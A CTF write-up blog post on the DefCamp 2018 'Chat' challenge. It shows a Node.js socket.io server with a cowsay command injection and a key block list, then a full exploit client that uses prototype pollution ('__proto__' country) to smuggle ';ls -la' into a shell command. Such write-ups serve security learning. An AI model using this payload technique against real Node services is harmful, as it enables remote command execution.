Defcamp (DCTF) 2018 – Chat

After I got source code, I recognized this is challenge running on socket in http protocol.
On client side, I got file “client.js” to connect to server

const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')
 
if(process.argv.length != 4) {
  console.log('name and channel missing')
   process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
  name: process.argv[2], 
};

socket.on('message', function(msg) {
  console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
  console.log('received socket error:')
  console.log(err)
})
 
socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));

On server side, server handle with some method of client like register, join, leave, message, disconnect, error

var fs       = require('fs'); 
var server   = require('http').createServer()
var io       = require('socket.io')(server)
var clientManager = require('./clientManager')
var helper = require('./helper')
 
var defaultSettings = JSON.parse(fs.readFileSync('default_settings.json', 'utf8'));

function sendMessageToClient(client, from, message) {
    var msg = {
        from: from,
        message: message
    };

    client.emit('message', msg);
    console.log(msg)
    return true;
}

function sendMessageToChannel(channel, from, message) {
    var msg = {
        from: typeof from !== 'string' ? clientManager.getUsername(from): from,
        message: message,
        channel: channel
    };

    if(typeof from !== 'string') {
        if(!clientManager.isSubscribedTo(from, channel)) {
            console.log('Could not send message',msg,' from', 
                clientManager.getUsername(from),'to',channel,'because he is not subscribed.')
            return false;
        }
    }

    var clients = clientManager.getSubscribedToChannel(channel);
    
    for(var i = 0; i<clients.length;i++) {
        if(typeof from !== 'string') {
            if(clients[i].id == from.id) {
                continue;
            }
        }
        
        clients[i].emit('message', msg);
    }
    
    console.log(msg)
    return true;
}

io.on('connection', function (client) { 
    client.on('register', function(inUser) {
        try {
            newUser = helper.clone(JSON.parse(inUser))

            if(!helper.validUser(newUser)) {
                sendMessageToClient(client,"Server", 
                    'Invalid settings 1.')
                return client.disconnect();
            } 

            var keys = Object.keys(defaultSettings);
            for (var i = 0; i < keys.length; ++i) {
                if(newUser[keys[i]] === undefined) {
                    newUser[keys[i]] = defaultSettings[keys[i]]
                }
            } 

            if (!clientManager.isUserAvailable(newUser.name)) {
                sendMessageToClient(client,"Server", 
                    newUser.name + ' is not available')
                return client.disconnect(); 
            }
         
            clientManager.registerClient(client, newUser)
            return sendMessageToClient(client,"Server", 
                newUser.name + ' registered')
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('join', function(channel) {
        try {
            clientManager.joinChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You joined channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);

            sendMessageToChannel(channel,"Server", 
                helper.getAscii("User " + u + " living in " + c + " joined channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('leave', function(channel) {
        try {
            client .join(channel);
            clientManager.leaveChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You left channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);
            sendMessageToChannel(channel, "Server", 
                helper.getAscii("User " + u + " living in " + c + " left channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('message', function(message) {
        try {
            message = JSON.parse(message);
            if(message.channel === undefined) {
                console.log(clientManager.getUsername(client),"said:", message.msg);
            } else {
                sendMessageToChannel(message.channel, client, message.msg);
            }
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('disconnect', function () {
        try {
            console.log('client disconnect...', client.id)

            var oldclient = clientManager.removeClient(client);
            if(oldclient !== undefined) {
                for (const [channel, state] of Object.entries(oldclient.ch)) {
                    if(!state) continue;
                    sendMessageToChannel(channel, "Server", 
                        "User " + oldclient.u.name + " left channel");
                } 
            }
        } catch(e) { console.log(e); client.disconnect() }
    })

  client.on('error', function (err) {
    console.log('received error from client:', client.id)
    console.log(err)
  })
});

server.listen(3000, function (err) {
  if (err) throw err;
  console.log('listening on port 3000');
});

After taking some audit, I noticed both sink and sanitizer at helper.js
Sink: Command line injection in getAscii function

    getAscii: function(message) {
        var e = require('child_process');
        return e.execSync("cowsay '" + message + "'").toString();
    }

-> getAscii used in “join” and “leave” connection method and variable can be exploited is client-> name and client -> country

   client.on('join', function(channel) {
        try {
            clientManager.joinChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You joined channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);

            sendMessageToChannel(channel,"Server", 
                helper.getAscii("User " + u + " living in " + c + " joined channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('leave', function(channel) {
        try {
            client .join(channel);
            clientManager.leaveChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You left channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);
            sendMessageToChannel(channel, "Server", 
                helper.getAscii("User " + u + " living in " + c + " left channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

Sanitizer:

   validUser: function(inp) {
        var block = ["source","port","font","country",
                     "location","status","lastname"];
        if(typeof inp !== 'object') {
            return false;
        } 

        var keys = Object.keys( inp);
        for(var i = 0; i< keys.length; i++) {
            key = keys[i];
            
            if(block.indexOf(key) !== -1) {
                return false;
            }
        }

        var r =/^[a-z0-9]+$/gi;
        if(inp.name === undefined || !r.test(inp.name)) {
            return false;
        }

        return true;
    }

After Taking a look with bypassing Sanitizer, I noticed:
– can not inject via attribute “name” because white list strick: /^[a-z0-9]+$/gi
– can not post variable or method like “country”
In client manager, I know that user input is object => find the way to overwrite user->country.
A new vector attack in nodejs can overwrite other attribute in object like Prototype pollution attack (like this https://hackerone.com/reports/310439)

To bypass sanitizer:

socket.emit('register', '{"name":"0xd0ff9", "__proto__":{"country":"\';ls -la;echo \'lala"}}')

To execute injection:

socket.emit('join','arena of valor');

full payload like this

const io = require('socket.io-client')
const socket = io.connect('http://127.0.0.1:3000')

//var input_name = process.argv[2]
//var input_channel = process.argv[3] 

var input_name = "1234"
var input_channel = "test"

console.log('Logging as ' + input_name + ' on ' + input_channel)


socket.on('message', function(msg) {
  console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
  console.log('received socket error:')
  console.log(err)
})

socket.emit('register', '{"name":"0xd0ff9", "__proto__":{"country":"\';ls -la;echo \'lala"}}')
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join','arena of valor');
socket.emit('message', JSON.stringify({ channel: input_channel, msg: "hello channel" }));

And get flag

Trả lời

Điền thông tin vào ô dưới đây hoặc nhấn vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s